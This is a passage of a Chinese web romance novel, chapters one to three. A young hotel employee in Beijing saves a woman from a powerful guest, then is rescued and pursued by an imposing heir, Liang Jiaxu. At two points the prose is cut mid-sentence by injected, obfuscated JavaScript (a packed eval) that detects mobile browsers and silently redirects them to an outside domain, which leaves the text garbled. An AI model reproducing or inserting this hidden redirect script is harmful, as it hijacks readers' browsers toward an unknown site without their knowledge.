《弄蝶[京圈]》 1. 第 1 章 白炽灯照映至女人妩媚的侧脸,她垂下卷翘的眼睫,视线盯着纸杯里温热的清水,片刻后终是问了出来:“你为什么救我?” 她询问的是正弯腰在储物柜翻找东西的女孩。 女孩头也没有扭动,手在杂物里翻找,边抽空回答:“哪有那么多为什么,还是说,你不想要我救你?” 孟尘萦翻出储物柜里的吹风机,举起来对着女人浅笑:“你头发还是湿的,吹一吹?” 女人艳红的唇瓣无力轻扯:“你得罪人了,我跟你说。” “看样子你是酒店的工作人员,你信吗?那个男人一句话,就可以让你丢掉饭碗。” 孟尘萦说信。 “有权有势的人,一句话就可以决定底层人的生死。” 女人眼眶通红,“那你还救我?” 孟尘萦把吹风机连接电源,调节好适合的温度递给面前的女人,吹风机嘈杂的声音都未曾掩盖女孩那把柔软的好嗓子。 “救人为什么要想那么多,正好看到你出事,我也正好在场而已。” “吹头发吧。然后赶紧跑,那男人应该很快就会找过来。” 女人低声哭泣,泪水沾湿了单薄的吊带裙,即使浑身狼狈也难掩她妖娆的身姿。 “谢谢你。”她说。 这时,休息室的门被猛地推开。 孟尘萦心吓得一抖,待看清来人是谁,才喘了一口气露出笑容:“南星,你怎么来了?” 虞南星望着屋内这个陌生女人,“这人谁啊?” 孟尘萦笑着糊弄过去。 虞南星也没追问了,问她:“你工作结束了吧?之前答应我什么别忘了,现在跟我去参加一个聚会。” “我……”孟尘萦犹豫地看向女人。 女人吹干头发,气色也恢复得很好,“没关系你忙去吧,我也该走了。” “那你后面……” “人各有命,你不是救世主,不能次次救我,下次得靠我自己了。” 女人道谢后,潇洒地转身离开。 虞南星紧盯孟尘萦,“老实交代,那个女人不像是你朋友。” 孟尘萦照着镜子,松开工作中盘起来的发型,乌黑的长卷发如海藻般泻下,柔软地垂落至腰间。 她随意撩起耳畔碎发,侧身来说:“的确不是我朋友,本来要下班了,临时有个vip客户需要服务,我进去那屋,就看到他绑着一个女人在浴缸里……” 听她讲完全过程,虞南星惊得心在狂跳,“萦萦,你竟敢做这种事……你知道这家酒店的vip客户,都是我们招惹不起的人物吗?” “我知道。”她语气很平静,白玉似的清冷脸庞看不出任何害怕情绪。 “她向我求救了,我不能当做没看见吧。” 虞南星为她捏了一把汗,“那客户现在可能不知道是你做的手脚,等去查了监控,你根本跑不了,萦萦,该怎么办?不然找你男朋友保护你吧?” 孟尘萦摇头,“他还在外地出差,况且他哪有能力跟那些公子哥反抗呢?” “算了,兴许没多大事,这可是法治社会,况且你们酒店背后可是那大名鼎鼎的梁氏,没谁能那么容易动梁氏的人。”虞南星拍着她肩膀安慰。 孟尘萦笑笑,也希望如此。 她其实还挺担心丢饭碗的。 – 刚从酒店出来,孟尘萦才知道下雪了。 这是京市今年的初雪。 风雪漫卷,雪花从夜空簌簌飘落,轻盈,纯洁。大概下了有两个小时,远远瞧去,路边树木枝头也如同裹了层毛茸茸的棉絮,灯光下泛着细碎晶莹的光,惹人眼。 孟尘萦弯腰捏了个小雪球,又琢磨了两下,将雪球捏出了一对小耳朵。 身旁的虞南星还在跟朋友打电话。 今天是她朋友的生日宴会,孟尘萦不认识她朋友,本不想去凑这热闹,奈何虞南星说什么都要她作陪。 等她的兔子将要捏出形时,有车子亲自来接了。 她把那雪兔子放屋檐下躲雪,跟着虞南星上车。 车内暖气在空气中流动,孟尘萦摘下毛线帽,暖了暖刚才玩雪时冰冷的手。 见她纤细的手指也被冰得通红,虞南星禁不住调侃:“果然还是南方人啊,下个雪就把你开心的。” “你都来这读书几年了,还这么喜欢雪呢?” 孟尘萦笑说:“也没你说的那么夸张,玩玩而已啦。下雪了是谁都想玩玩,不是吗?” “是吗?”虞南星土生土长的京市人,对雪早已见怪不怪,压根没有玩雪的心思,自然不理解她的乐趣。 “你那包里鼓鼓囊囊的是什么呢?” “给你朋友准备的生日礼物。” 虞南星一惊,“其实你可以不准备礼物的,我朋友你不认识,就是陪我而已,平白还要你贴钱。” 孟尘萦把膝上的毛线帽整理好,“又不贵重。” 认识孟尘萦也几年了,虞南星还是很佩服她的为人处世,方方面面都做的很滴水不漏,尤其不喜欢欠人情。 车子开往的目的地在一个胡同巷里。 今天初雪,路上堵车,到时很晚了。虞南星接了好几个催促电话,她急急忙忙,拉着帽子还没戴好的孟尘萦就往胡同巷里冲。 胡同巷里头坐落着一座四合院。 外面瞧着不显山露水,里头院阔墙高,绿水青山,幽然别致,是一处让人艳羡的世外桃源。 她好难才把帽子戴好,露出被风寒吹到微红的脸蛋,声音在风中带着颤意:“南星,咱们别是迷路了。” 虞南星拉着她在院子里四处闯,高墙阻隔,长廊弯绕,去往何处不知,地儿太大路线又复杂,虞南星也迷迷瞪瞪的,弄得她有种不太好的预感。 “别说,我也头一次来这儿,知道边萧是有钱公子哥,但咱也不知道他这么有钱啊,这四合院该不会是他的吧?” 虞南星回头,见孟尘萦又把自己包得严严实实那憨态可掬的模样,失笑道:“你就这么怕冷?” “下雪了呀。”虽不大,雪花落身上也挺美,但一会就会化成水,可冰了。 “诶,我看到人了!”虞南星朝西边长廊的方向招手,“边萧,这儿!” 边萧大步流星走来,“我说你怎么这么慢呢?要我这寿星公等人,还是头一遭。” 虞南星吐舌说抱歉。 边萧故作生气瞥她一眼,看向孟尘萦,目露讶异:“我面前这只熊兔子,是你朋友?” “什么熊兔子,人有名字,孟尘萦,我同学呢。” 孟尘萦把手从口袋里掏出来打招呼,“你好。” 边萧笑笑,“你好你好,快进屋吧,别把人冻坏了。” 包厢里的人满满当当,可见边萧人缘不容小觑,基本都是他圈内的朋友,大多都是权贵之流。 虞南星能认识边萧这个公子哥,也是她自个儿努力,在读书那会就比寻常人更早摸透了网络的作用,时常在网上直播整活,现在也算个小有名气的网红。 甫一进屋,他们带进来外头冷冽的寒气,不少人视线扫过来,有人打趣说边萧出去接女朋友了。 边萧轻啧:“虞南星才不是我女朋友。” 虞南星背后悄悄吐槽他。 有人忽然问:“旁边那个把自己裹得严严实实的女孩才是你女朋友?” 孟尘萦看向提出问题的男人,礼貌地说:“抱歉,我另外有男朋友了。” 边萧过去照着那人的头猛拍,“胡说八道什么呢,别把我客人吓到了。” 虞南星小声说:“萦萦你别生气,边萧他朋友好像都这样喜欢开玩笑。” “没生气。” 两人找了个位置落坐,这包厢里有暖气,进来一会,孟尘萦就觉得浑身热乎乎的。 她正在摘帽子解围巾,这时有人说话。 “吵吵啥?人都到齐了宴会能开始了?” 最中间牌桌那有个男人不耐烦开口,嘴里咬着烟,眼神都未曾搭理刚进屋的几人。 虽说今天的寿星是边萧,但那牌桌的人似乎更重量级,开口后就没人敢再闹了。 虞南星小声跟她说:“我刚问边萧了,本来生日宴会不在这开,是他哥给他排面说来这四合院一起热闹,他推脱不开,就临时改了地儿,这四合院是谁的我也不知道,不过你瞧刚才那男人的猖狂劲儿,那派头就不是好惹的。” 孟尘萦赞同的点点头。 这才把围巾取下来,就感觉脖子那灌了一道冷风。 雪花从窗台飘了进来。 她冷得身子一缩,扭过头,猝不及防看到晦暗的窗边立着一男人。 他半倚在窗台边,白净的腕骨虚虚搭在上头,侧脸流畅,眉目在暗处看不清明,但男人松弛懒散的站姿矜贵气尽显。 风雪簌簌,他站在那,像是硬生生从雪山里劈开一道口子,他从那万年雪山里腾空钻出来,化为人形。 孟尘萦一时分不清是他的气质更冷,还是外头的风雪更冷。 穿得不多,应该不怕冷。 他似乎站在窗边看了许久,不知在看什么。 只堪堪看了两眼,孟尘萦正打算收回视线,谁知男人侧过身子,目光扫来。 她不经意间撞入男人漆黑的眸子。 这下总算看清楚男人的整张脸。 但凡见过梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872827|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉序的,都很难能忘掉那男人被上天格外宠爱的长相。 孟尘萦同样。 他眉目清俊,漆黑的瞳仁似寒潭望不见底,眼尾衔着那股生来多情风流的几分韵味,使方才凛凛如雪山般冰冷的气质巧妙的融化了些许。 他的眼神让她有种自己未着寸缕的无措,只对视一眼,不仅像被他看透,甚至她有种错觉,她被他布下的天罗地网捕住了,无法挣脱。 不敢再对视下去,她率先收回目光。 梁嘉序的目光如同收网,淡然从孟尘萦身上收回。 他将烟头捻灭,转身,踱步走向牌桌。 刚还猖狂的男人登时露出谄媚笑:“梁公子,您要上桌?” 梁嘉序拍拍身旁那人。 那人果断让位。 这圈子的等级差距在牌桌也展现的淋漓尽致。 “摸两圈。” 不仅生了副好皮囊,就连冷冽的音质也格外好听。 “梁公子贵人事忙,能让我弟弟把生日宴开在您这四合院,也是我弟弟的荣幸了。”开口说话的是边萧的哥哥,边煜。 梁嘉序坐姿懒散。 他眉梢衔着笑说:“让寿星上桌。” 边煜把弟弟推上来,“去,梁公子让你跟他打牌。” 边萧低声说:“我不行啊,技术超烂。” 他把虞南星拉过来,“你技术好,你跟梁公子打。” 虞南星也怕梁嘉序,虽然她不认识对方是谁,但那气场和整个包厢没人敢在他说话时插嘴,就知道地位不一般了。 要真输了,她把家当赔了都玩不起,这些公子哥动辄就是一套房。 这两人当着梁嘉序的面小声蛐蛐,他当没听见,眼皮都没抬,说:“摸两圈,赢了算你的,输的算我。” 虞南星眼睛骤亮,连忙把孟尘萦拉过来,“萦萦,你在我旁边给我坐镇。” 她说悄悄话:“走狗屎运赢了话,咱俩平分!” 孟尘萦抿唇,老老实实坐在虞南星旁边。 对面是梁嘉序。 除了刚才不经意的对视,男人似乎并没看她。 他骨节分明的手正在漫不经心摸着手中的牌。 姿态闲散,游刃有余。 好像生来就是被人仰视,整个包厢的人都盯着他脸色看,他也没有半分的不适应。 孟尘萦垂眸认真给虞南星看牌,其实她不懂打牌,但虞南星太想赢了,竟是找了她这个对棋牌一问三不知的小白。 她无能为力地笑笑。 虞南星开头打的还挺轻松,以为这位梁公子就是个绣花枕头,没料过半后,几乎被压着打,根本没有还手的能力。 整个牌桌的人,除了梁嘉序都为难得眉头紧皱。 孟尘萦看明白大概是要输了,不免为虞南星庆幸,幸好输的不算她。 “梁公子胡了。”有人先喊出来。 旁人趁机给梁嘉序递烟,他随手推开,似笑非笑问:“周初皓还好吧?” 他看的是对面的人,登时引起包厢内轰动。 短暂沉默了会儿。 孟尘萦回答:“挺好的。” 她看了他一眼,便匆忙收回视线,就像方才那样匆忙。 好像他是什么豺狼虎豹,把女孩吓得表面不显,实则心尖发颤。 隔着淡薄的烟雾,孟尘萦放在膝上的手不动声色收紧。 她似乎看不到虞南星投来的好奇眼神。 僵坐在那,像被透明的罩子笼住了,往前一探,往后一缩都不敢,也不知道那罩子没了,等她的是什么。 她没抬头,能感觉对面的男人还看着她。 眼神她看不见,但她的感受不太好。 梁嘉序让旁人把烟掐了,“有些日子没见,你应该是不记得我了?” 这句话把自己放在低位,但语气散漫,像老友久别重逢的客套话。 毕竟谁会信,有人会忘了他梁公子。 孟尘萦连忙摇头。 “记得。” 梁嘉序笑了声,奇怪的,颇有耐心问:“那见到熟人,怎么不看着我说话呢?” 孟尘萦顶着对面的压迫感,抬头。 “我叫什么?”他笑得温和,那双眼却乌沉幽深,衔住她,将她困在他眼里。 孟尘萦轻声:“梁嘉序。” 三个字一出,周围几个公子哥脸色都变了。 开口就直呼梁嘉序的大名,没人想到孟尘萦胆子这么大。 梁嘉序似乎挺满意,黑到透亮的眸光揉着不明笑意:“你和周初皓什么时候结婚,记得给我下帖子。” 他说:“毕竟,我也算你们爱情的见证人。” 2. 第 2 章 梁嘉序没留多久便走人了,也带走了那股让人心慌的压迫感。 他离场后,整个包厢的氛围显然轻松了许多。 那些人不说,但都看得出来,是觉得送走了一尊大佛。 虞南星从边萧那打听到刚才的梁公子是谁,为他身份震惊的同时,更好奇孟尘萦是怎么认识他的。 认识吗? 孟尘萦不知如何回答。 见肯定是见过的,也不止见过一次。 距离上次见面,有了几年。 生日宴会还没正式开始,孟尘萦就意外接到一通电话,她跟寿星和虞南星说了声抱歉,提包离场。 电话是酒店主管打来兴师问罪的。 左不过就是她下班前做的那件事,说是那位VIP客户正在找她,要她立刻回酒店解决问题。 赶回颂曼德酒店时,主管刘素华正在门口等孟尘萦。 “我就一个小时不在,你就惹下这样的大祸,你知道那个VIP客户是谁吗?” 孟尘萦迟疑,问她:“天王老子吗?” “你!”刘素华被她这态度气得险些晕厥,“小孟,你只是一个小员工,你没有那么大的能耐能反抗那些贵人,要是工作丢了,别怪刘姐没提醒你。” “刘姐。”孟尘萦沉沉叹息说:“我知道了,是那人想要开了我么?” “那我也可以选择报警。” “报警?你疯了!” 孟尘萦一错不错望着她,眼里有一股散不去的倔强。 眼前这个才毕业的小女孩,尚且没见识过社会的黑暗面,自认为自己是救世主,能同那些有权有势的人反抗。 刘素华很欣赏她这股子反骨劲儿,但同时,她也不想看到自己一手带出来的孩子,就这样平白丢了工作。 “小孟,听姐一句劝,你去跟那位贵客道歉,是下跪也好,还是恳求也好,至少工作别丢了。颂曼德酒店不是那么容易能进,这份工作来之不易。” 孟尘萦摇头,“我报警不是为了我的工作,我想为那个女生报警。” “小孟!” 刘素华把她拉进酒店休息室里谈话,“那个女人已经跑了,就跟你没有半分钱的关系,现在你反而才是大祸临头懂吗?如果是旁人也就算了,咱酒店背靠梁氏,也轻易动我们不得,可那个男人偏偏是梁家人。” “姓梁?”孟尘萦忽地想起那双带有侵略性的眼。 有人来敲门,喊孟尘萦出去。几分钟后,刘素华领着她亲自去见梁巷明。 顶级豪华套房内已是满屋狼藉。 孟尘萦跟在后头进去,还没见着人,便听到那阴鸷的声音铺天盖地砸至地面,“把那个把我猎物放跑的人给我提过来!” 孟尘萦后背一紧。 抬眸,看到刘素华挡在她面前跟男人赔笑,“梁先生,小姑娘有点不懂事,刚工作没几天,没明白自己的职责,您大人有大量就别跟孩子……” “啊……” 刘素华吓得惊叫出声。 一个酒杯砸至孟尘萦脚下,碎片七零八落。 “就是你?” 男人阴沉沉起身,命令她抬头。 孟尘萦缓缓抬头,看向面前男人。 救人那会她没细看,现在看到整张脸,的确有几分梁嘉序的长相,不知是他哪个亲戚,看年纪,这男人有四十了。 面前抬起一张纯白到清凌凌的面容。 白玉般的肌肤,新月似的细眉,一双眼眸如泉水清澈,鼻梁挺拔,以及那张没抹口红也依然娇艳欲滴的唇。 蓦然面对这张脸,梁巷明并未掩饰惊艳之色,慢声笑:“多大了?” 孟尘萦低声答:“二十二。” “刚毕业?” “是。” 梁巷明阴恻恻问:“小朋友,你懂不懂规矩?” 孟尘萦被刚才那酒杯吓得大脑有点空白,不敢吭声。 “你以为自己是在见义勇为?搞清楚,你放跑的是我的女人!” 孟尘萦低声道:“她向我求救了。” “所以现在是怎样,你打算报警?” 孟尘萦没有回答。 她的沉默在梁巷明看来就是默认,他转身拿了手机塞她手里,嘲讽道:“来来来,手机给你,来报警,让警察蜀黍把我抓走。” 得是多么狂妄的人,在这种时候还能用调侃的音调喊警察叔叔。 孟尘萦忽然感觉眼有点酸。 握在手中手机也愈发紧。 她看到刘素华在朝她摇头,用唇语说:道歉。 道歉么? 她做不到。 报警么? 现在看来,她报警也没有用。 这家酒店是梁氏的,她没有任何证据眼前的男人要做的坏事,若是再把那个女人找出来,无异于是拉对方陷入险境。 她是救人,不想害人。 梁巷明眼神忽变,转变态度。 “小朋友。” “你的天真我很欣赏的,既然你不打算报警,我也能放你一马。” 刘素华连忙接话,“谢谢梁先生,谢谢梁先生。” “不过——” 男人话锋一转,冷冷地瞪着孟尘萦笑。 “你长得更漂亮,不如就你,代替那个女人好了。” 瞧瞧,就这。 刚还倔强瞪人,拿出手机打算报警的小姑娘,这会儿已经吓得发抖了。 梁巷明摸着下巴,眼里趣味更盛。 清清冷冷的倔强小女孩,原来眼圈泛红,发抖的样子是这样招人疼。 他的确生起了兴趣,“怎样?你跟了我就原谅你,这家酒店也可以让你做主。” 刘素华急到恨不得替孟尘萦下跪。 眼下如此,若是不顺从梁巷明,孟尘萦绝没有好日子过,这已经不是丢工作的问题了。 四九城里那些叫得上名号的大人物,谁人不给梁氏面子? 眼前这位还是梁老爷子最小的儿子,不学无术的混账东西,梁家他没得继承,那些明面上的礼义廉耻道德规范,梁巷明完全不用遵守,他只要不把事闹大,私下想怎么玩都成。 都四十了,整个人已然烂透,没人能管得了他。 也没人能救孟尘萦。 没人。 孟尘萦指尖攥得泛白。 低垂的眼睫毛正在一颤一颤抖动。 小姑娘的确吓得不轻,也不知如何应对。 就这会,“门铃”忽地一响。 有人开门,进来一位黑衣保镖,朝开门人附耳几句。 那人脸色微变,疾步过来,低声传话。 梁巷明皱眉,“说我不在。” 恐怕是不行的。 因这会儿,人已经进屋了。 梁巷明不耐,也只能站起身去迎接,“阿序,你怎么来了?” 刘素华错愕,她还从没见过梁巷明的脸上出现过明显的赔笑,来人竟是他还惹不起的人物。 能是谁? 她悄悄扫去一眼。 玄关那走进来一男人。 逆着光,相貌看不清明,但能明显感觉到男人高大清肃的身姿,倒是轻易就将梁巷明挺拔的身形压了去。 在颂曼德多年,刘素华自认为见过的贵人不在少数,却从未没见过有人的矜贵气,能压得人心气儿都短了半截的强势。 梁嘉序没应声,半点面子都不给。 梁巷明脸臭得不行,硬生生又挤出笑:“什么时候回京的,怎么家里都没听说?” 梁嘉序自觉找了位置落坐,坐的正好是梁巷明刚才的座位。 一来就把他的位置占了。 还当着这么多人的面,让他站一旁跟佣人似的。就差没说一句:少爷有什么吩咐的。 显然是没把梁巷明放眼里了,傲得很。 “才回不久,有些日子没见,三叔倒是越活越回去了。” “怎么个情况?” 梁嘉序的眼神慢悠悠从孟尘萦惨白的小脸上扫过去。 半个小时前还是白里透红,鲜活的模样。 眼下倒蔫不唧的。 梁巷明笑说:“没什么,新来的员工做错事,叔在训着呢。” “嗯。”梁嘉序坐了没半分钟就起身。 还当要送走这瘟神了,梁巷明还没来得及放鞭炮,又给吓得一跳。 梁嘉序走到孟尘萦跟前,脑袋朝门口轻微一摆,“出去。” 孟尘萦缓慢抬头,不解地看他。 他眼里的黑如同静默深沉的大海,海浪翻滚,掀起一波浪潮。 “嗯?这么大牌?还要我找人抬你出去?” “不……”孟尘萦心一慌,也顾不得那么多,“梁公子,我跟你走。” “嘚嘚嘚,”梁巷明叉着腰上前喊话:“这姑娘是三叔我扣下的,梁嘉序,你几个意思?” “三叔。”梁嘉序眼皮微抬,似笑非笑:“玩可以,可别什么都碰。” “长点儿眼。” 淡淡的凉薄笑意,也极具压迫感,梁巷明轻易被这股强势压弯了脊椎般,咬牙问:“什么意思?” 他后知后觉,“你认识这姑娘?” 梁嘉序却只留了个背影给他,带人姑娘直接消失了。 他傻站原地冷笑:“行,不愧是梁嘉序啊。” 他惹不起,躲不起还不行? 房门紧闭,梁巷明暴怒掀桌,“都想死是不是?赶快给我把那女人找出来,找到了老子弄死她!” - 外面的雪还没停。 孟尘萦忽然看到自己一个多小时前捏的小兔子还蹲在原地,只是多少被雪花覆盖,没先前的形了。 她收回眼神,主动开口:“梁公子,刚才谢谢您出手相助。” 如果不是梁嘉序的出现,她的确不知道该如何面对当下的境况。 大抵还是她高估了那些贵人为人的底线。 梁嘉序会出手相助,也在她的意料外。 她曾听男友说过,梁嘉序这人疯得很,骨子就没根正常的神经。 她不大清楚梁嘉序这个人。 但刚发生的事,她大概可以推翻男友给梁嘉序的评语。 跟梁巷明这种人比起来,他还算有点人性了,不是吗? 雪下挺大了,梁嘉序扫她一眼,“上车,送你回家。” 孟尘萦不想再麻烦他,“不用了,我……” 他不咸不淡问:“男朋友要来接?” “不是。” “那怕什么?”他站在屋檐下,挺括的身形像一座冰山似的挡住她的去路。 “不是……我是觉得不能再麻烦您了。” “麻烦?”他忽地一笑,眼尾那几分风流多情添了抹邪气。 “送回家就觉得麻烦,孟小姐对男人的要求这么低呢?” 尾音夹着让她不适的笑意。 孟尘萦品不出他这句话究竟想表达什么,乎有几分贬低她男朋友的意思。 但转念一想,她不能把恩人想的那么坏。 司机撑伞而来。 梁嘉序伸手,司机怔了须臾,连忙递上。 他送出伞下多余位置,此举不言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872828|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而喻。 孟尘萦举步艰难,思考片刻,还是钻入他的伞下。 他太高了,她似乎只到他的肩膀。 粗略打量一眼,她退开一些,刻意与他保持距离。 他撑伞下台阶,顺手捡起那只在风雪中的兔子。 小巧的雪兔在他白皙的掌心下,更显得柔弱可欺,有一瞬间,孟尘萦隐约觉得自己就是那只兔子。 他随手一伸,轻易就被拢入他的掌心。 他笑着问:“你捏的?” 孟尘萦垂眸,弱不可闻地嗯了声。 “挺有意思。” 他轻飘飘点评一句。 孟尘萦怔住,没想到他竟是这样觉得。 她捏这雪兔时,就连虞南星都在笑她这个南方人没见过世面。 司机开好车门。 梁嘉序很绅士地让她先上车,而后,有人收伞,他坐进车内。 宽敞的后座在他进来后,瞬间变得拥挤。 孟尘萦不自在地往里退,侧身紧贴车门,在车内与他隔开最远的距离。 即便如此,他身上冷冽的木质香仍是黏了上来。车载香薰的味道,似乎都不敌他独有的香味。 这个男人,不仅强势的气质压人,就连他身上的香味也随了主人性子。 非要每个凑近的人,沾上他的气息。 孟尘萦眼角余光瞥见梁嘉序竟是还在手心把玩这只兔子。 车内开了暖气,那只小兔子,就这样在他手心,渐渐化成了一滩冰水。 他慢条斯理抽出纸巾擦手。 还低笑了一声。 她不明白他这点乐趣。 也不觉得自己捏的兔子哪里有什么好玩,好笑的。 车子开动后,司机问去哪儿。 梁嘉序问她住哪。 她犹豫,还没想好回答,他问:“跟你男友同居?” 虽是在笑,但那双眼黑得吓人。 孟尘萦的心意外一慌,摇头:“跟同学合租,在向阳路26号。” 车子朝向阳路开往。 一路极其安静,孟尘萦垂眸也在安静。 “怎么没跟男友同居?” 孟尘萦疑惑看他。 他脸侧过来,很正经地问:“是不接受婚前性生活?” “不,不是……”她懵了会,茫然回。 “那就是已经有性生活了?” 梁嘉序眼神落在她藏在黑发下那节白到透亮的细脖,盯着看。 孟尘萦紧张到没察觉梁嘉序的眼神。 她脸色微变。 这种私密话题,她为什么要跟眼前男人聊?她不想回答。 梁嘉序身体侧过来坐,面对面,将她整个人掌入眼中:“交往多久了?在国外见你那会儿,周初皓还说你是他邻居的小妹妹。” 孟尘萦心里憋着气,小声说:“这个我没有必要回答你吧。” “梁先生。” “你有点逾矩了。” 她脸微鼓,含着不满大胆盯着他说。 他乐不可支,想到了刚化在他手里的那只雪兔。 一下就化了多没意思。 还是眼前这只,能动能笑能生气的更有趣。 孟尘萦总觉得状况与自己刚才所想的不太一样了。 她只盼着赶快到家。 行至半路。 孟尘萦的手机响了,是周初皓打来的视频通话。 孟尘萦先是挂断。 在身旁男人那意味不明的笑声下,脸又尴尬地红了起来。 没一会,周初皓又打来视频。 她只好点了接听。 男人的声音通过电流传过来,“萦萦,你在车上?” 孟尘萦盯着视频内的周初皓。 男人生得俊朗,正在办公室里摸鱼,看样子一天没刮胡子了,下巴长出了点胡茬,即使如此不修边幅,依稀可见其温润如玉的气质。 她点头,声音闷闷的:“嗯,刚下班。” “这是谁的车?”周初皓笑着问:“没见过你坐这车回家,该不会是趁我在外地找了野男人?” 周初皓健谈,也很爱开玩笑逗她。 孟尘萦以往都会回嘴几句,只是眼下有些不自然,“没有啦……” “没有那就给男朋友看看车内环境,看有没有藏着什么野男人。” 他醋劲一向很大。 出差半个月没见着人,本就想念得很。 孟尘萦呼吸放轻,眼角余光扫了身旁男人一眼。 他仍是支着脸朝她笑。 她忽然觉得他挺可恶的。 刚才觉得他是好人的想法,已经消失大半。 “萦萦,你一心虚眼神就乱瞟。”周初皓止了笑意,问:“真有野男人?你信不信我现在就赶回京市?” “没有。我给你看就是了。” 孟尘萦平心静气,把镜头稍稍挪移,镜头内,露出了梁嘉序小半边侧脸,不多,只能看见头发和耳朵。 周初皓还在催促,要看全脸。 她想,周初皓虽然已经和梁嘉序没联系了,但曾经也算认识,让他知道也没什么。 她问心无愧,躲躲藏藏才是真有问题。 正打算把镜头全部露出来时,孟尘萦忽然感觉自己的右脚被什么绕上。 她垂眸望去。 男人的脚腕,缠上她的右腿,他紧实的小腿正沿着她腿部的线条,缓慢摩挲,一上一下。 欲勾不勾。 欲诱不诱。 她的小白鞋,似乎被男人的黑皮鞋,吞噬殆尽。 3. 第 3 章 手机镜头同时一晃。 画面错开。 孟尘萦没拿稳手机,被吓到了。 她那只被梁嘉序勾住的脚脖子,似乎也僵硬地不属于自己。 周初皓问她怎么了。 “萦萦?发生什么事了,你脸色忽然不对劲。” 孟尘萦呼吸一抖,摇头,“没……” “我是看他有点不舒服,就……” 周初皓没多想,笑道:“不舒服?那就别打扰人家了。” 女孩不动声色松了一口气。 她细微的变化都落入梁嘉序眼中,一分一毫都没错过,他轻轻笑着,侧坐的身姿对着她,目光将此刻的她彻底看透。 周初皓还想继续聊,但有同事在催促他工作,“萦萦,我这边有个项目工程太紧了,这会我必须要工作了。” “嗯,没关系你忙吧。” “今天京市下了初雪,没能陪你,我很抱歉。” 孟尘萦心里一暖,望着画面内的男人,柔声说:“没关系,你工作要紧嘛。” “女朋友这么贴心,那我得赶快回京才对,否则真让野男人叼走,我哭都来不及。”他开玩笑打趣。 “胡说什么呢?”孟尘萦笑出了声,那把轻灵柔软的嗓音,同样钻入身旁男人的耳中。 小情侣旁若无人打着视频。 女孩在面对男友时,跟对旁人很不一样,那股子浑然天成的娇劲儿,她似乎不曾对外人展露过。 梁嘉序眼里衔着钩子。 勾住她,想要将她的魂儿都勾进他怀里。 电话挂断的那一秒。 孟尘萦也对上了梁嘉序的目光,他极俱侵略感的眼神从不掩饰,再看到这种眼神,她总是不自在的。 回想刚才,她只能尽量说服自己,那个举动,或许只是他的无心之举。 “你和周初皓感情真不错。”梁嘉序问:“什么时候交往的?” 他似乎对这个问题尤其好奇。 反正也不是什么秘密,孟尘萦没打算避开,“半年前。” 半年前?男人长腿交叠,刚勾住她右腿的那只脚在空中轻微晃悠两下,又问:“他追的你,还是你主动表白?” 孟尘萦抿唇:“梁先生,您对旁人的感情这么感兴趣吗?” 她就差没直接说,您就这么无聊么? 梁嘉序眼皮微抬:“倒也还好。” 他这回答的,让孟尘萦也不知怎么接话。 车子也抵达了目的地,她如蒙大赦,拉开车门正欲下车。 男人倾身靠近,气息铺天盖地将她裹挟。 那只紧实的小臂横在她面前,挡住了车门把手。 孟尘萦微蹙着眉:“梁先生!” 梁嘉序手指抵在她按住的前方,指尖不经意划过她的指腹,漫不经心道:“我记得,几年前尝过你给周初皓做过的饼干,味道不错。” 孟尘萦手指往里缩,声音细小:“所以呢……” 梁嘉序扫了眼她的唇:“我想再尝尝。” 孟尘萦背脊收紧,不自在地撇开脸,即便如此,他温热的呼吸仍是均匀地洒在她脸颊上,瘙痒,酥麻,想发抖。 她垂眸,轻声说:“梁先生,那只是平平无奇的饼干而已。” “不愿意?”他声音压低,带着笑音。 好像无时无刻都在勾引人。 孟尘萦低着头,“很久没做,有些生疏了。” “我不在意。” 孟尘萦不喜欢欠人情。 更何况是梁嘉序的。 但也在这一秒,她推翻了不久前对梁嘉序的看法。 他的确是个极其危险的人。 救命之恩她不知道如何报答,如果这是他的要求。 孟尘萦蓦然抬起脸:“只要我做份饼干给梁先生,就算报答恩情了?” 梁嘉序挑眉,想说她这会儿倒是懂得取巧。 救命之恩拿一袋小饼干抵消,看来是真怕跟他有什么纠缠。 “算。” 他轻松应。 孟尘萦心安稳落地,也应下要求。 临下车前,梁嘉序又要了她微信。 她不想给。 梁嘉序只这样幽幽看着她。 眼神就把她看虚了。 这男人好像生来就是让人仰视的,他想要,旁人就没拒绝的可能。 - 到家时,微信收到一条好友请求通知。 她戳开看了眼,昵称是简简单单一个–,头像颜色晦暗,小图看不出什么。 孟尘萦没有窥探人的爱好,看了一眼,就点了退出。 迟疑了许久,她还是没点通过。 等凌晨左右虞南星从生日宴回家,喝得醉醺醺,路也走不稳,到玄关连鞋还没换上,直接扑棱倒地。 巨大的动静把刚从浴室出来的孟尘萦惊到。 她过去扶起虞南星,给她泡了一杯蜂蜜水问:“喝这么多呢?明天不是还有直播吗?” 虞南星抱着她哭,“萦萦,我不想做网红了,忒烦人了都。” 每当这时候,孟尘萦都会在她耳边提醒她:“赚得多。” 听到这三个字,虞南星每次都会振奋起来,擦了擦眼泪,“你说的对!钱才是我亲爹,我不能不做网红。” 孟尘萦笑了声,扶她去沙发坐下。 虞南星蜷缩在沙发上抱着蜂蜜水喝,“萦萦,那个梁公子家里真的那么厉害啊。” 她手指做了个手势,身份都说不得。 孟尘萦嗯了声:“好像吧。” 其实她不大了解,只知道这四九城太多大人物了,而大人物里也分三六九等,梁家没人敢招惹就是了。 